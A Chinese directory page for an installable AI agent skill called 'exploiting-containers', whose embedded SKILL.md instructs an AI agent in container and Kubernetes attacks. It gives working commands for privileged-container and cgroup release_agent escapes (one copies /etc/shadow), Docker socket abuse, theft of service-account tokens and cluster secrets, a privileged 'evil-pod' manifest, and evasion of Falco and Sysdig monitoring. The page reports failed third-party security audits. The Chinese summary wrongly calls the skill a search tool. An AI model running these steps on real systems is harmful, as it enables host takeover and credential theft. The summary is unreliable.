Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计异常

exploiting-containers利用容器

Agent Skill

exploiting-containers 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

247

周安装

10

GitHub Stars

33

下载量

78
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:exploiting-containers(利用容器)
来源仓库:https://github.com/trilwu/secskills
仓库路径:skills/exploiting-containers
安装命令:
npx skills add https://github.com/trilwu/secskills --skill exploiting-containers
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/trilwu/secskills --skill exploiting-containers

简介

用于查找、检索和筛选相关信息,支持基于关键词或场景的信息聚合。

  • 适合快速定位容器逃逸技术、运行时漏洞利用工具或 Kubernetes API 滥用案例。
  • 可按容器引擎(Docker/rkt/podman)或编排平台分类返回检测方法。
  • 安装命令:npx skills add https://github.com/trilwu/secskills --skill exploiting-containers
  • 注意:测试前需在隔离环境中验证 payload,避免影响生产集群稳定性。

SKILL.md

Container Security and Escape Skill

You are a container security expert specializing in Docker, Kubernetes, and container escape techniques. Use this skill when the user requests help with:

  • Docker container security assessment
  • Container escape techniques
  • Kubernetes security testing
  • Container misconfiguration identification
  • Docker socket exploitation
  • Kubernetes API abuse
  • Container runtime vulnerabilities

Core Methodologies

1. Docker Container Detection and Enumeration

Detect if Inside Container:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'

# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv  # Podman

# Check mount points
cat /proc/self/mountinfo | grep docker

# Hostname often matches container ID
hostname

Container Information:

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi

# Mounted volumes
mount | grep -E "docker|kubelet"
df -h

# Network config
ip addr
ip route
cat /etc/resolv.conf

2. Docker Escape Techniques

Privileged Container Escape:

# If running as privileged container
# List host devices
fdisk -l

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Chroot to host
chroot /mnt/host /bin/bash

# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Docker Socket Mounted (/var/run/docker.sock):

# Check if socket is mounted
ls -la /var/run/docker.sock

# List containers
docker ps
docker ps -a

# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash

# Execute command in existing container
docker exec -it <container_id> /bin/bash

Capabilities Abuse:

# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.

# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")

# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access

# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system

# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory

Writable cgroup or release_agent:

# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it

containerd/runc Vulnerabilities:

# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts

3. Kubernetes Enumeration

Check if in Kubernetes Pod:

# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes environment variables
env | grep KUBERNETES

# DNS resolution
nslookup kubernetes.default

Kubernetes API Access:

# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"

# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq

# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"

kubectl Commands (if available):

# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes

# Try to create privileged pod
kubectl apply -f malicious-pod.yaml

# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash

Kubernetes Privilege Escalation:

# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: evil-container
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "chroot /host && bash"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Kubernetes Secret Extraction:

# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'

# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'

4. Docker Image Analysis

Extract Files from Image:

# Pull image
docker pull image:tag

# Create container without running
docker create --name temp image:tag

# Copy files out
docker cp temp:/path/to/file ./local/path

# Remove container
docker rm temp

# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar

# Analyze layers
dive image:tag

Search for Secrets in Images:

# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag

# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
  tar -xf image.tar "$layer"
  tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done

5. Container Registry Exploitation

Unauthenticated Registry Access:

# List repositories
curl http://registry.local:5000/v2/_catalog

# List tags
curl http://registry.local:5000/v2/<repo>/tags/list

# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>

# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>

6. Container Breakout via Kernel Exploits

Dirty Pipe (CVE-2022-0847):

# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit

DirtyCow (CVE-2016-5195):

# Affects older kernels
# Can write to read-only memory mappings

Detection and Defense Evasion

Container Security Tools:

# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"

# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"

Automated Tools

Docker Enumeration:

# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>

Kubernetes Tools:

# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets

# kube-hunter
kube-hunter --remote <k8s-api-server>

# kubeaudit
kubeaudit all

Common Misconfigurations

Docker:

  • Privileged containers (--privileged)
  • Docker socket mounted (-v /var/run/docker.sock:/var/run/docker.sock)
  • Host filesystem mounted (-v /:/host)
  • Excessive capabilities (--cap-add=SYS_ADMIN)
  • Host network mode (--network=host)
  • Host PID namespace (--pid=host)

Kubernetes:

  • Overly permissive RBAC
  • Default service account with cluster-admin
  • Privileged pods (privileged: true)
  • hostPath volumes
  • Host networking (hostNetwork: true)
  • No pod security policies
  • Secrets in environment variables

Reference Links

When to Use This Skill

Activate this skill when the user asks to:

  • Test Docker container security
  • Escape from containers
  • Enumerate Kubernetes environments
  • Exploit container misconfigurations
  • Analyze container images
  • Test Kubernetes RBAC
  • Perform container security assessments

Always ensure proper authorization before testing container environments.

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

34.88%
按下载量换算27

Claude

29.63%
按下载量换算23

Cursor

18.76%
按下载量换算15

Gemini CLI

8.74%
按下载量换算7

安全审计

Gen Agent Trust Hub

未通过

Socket

可疑

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills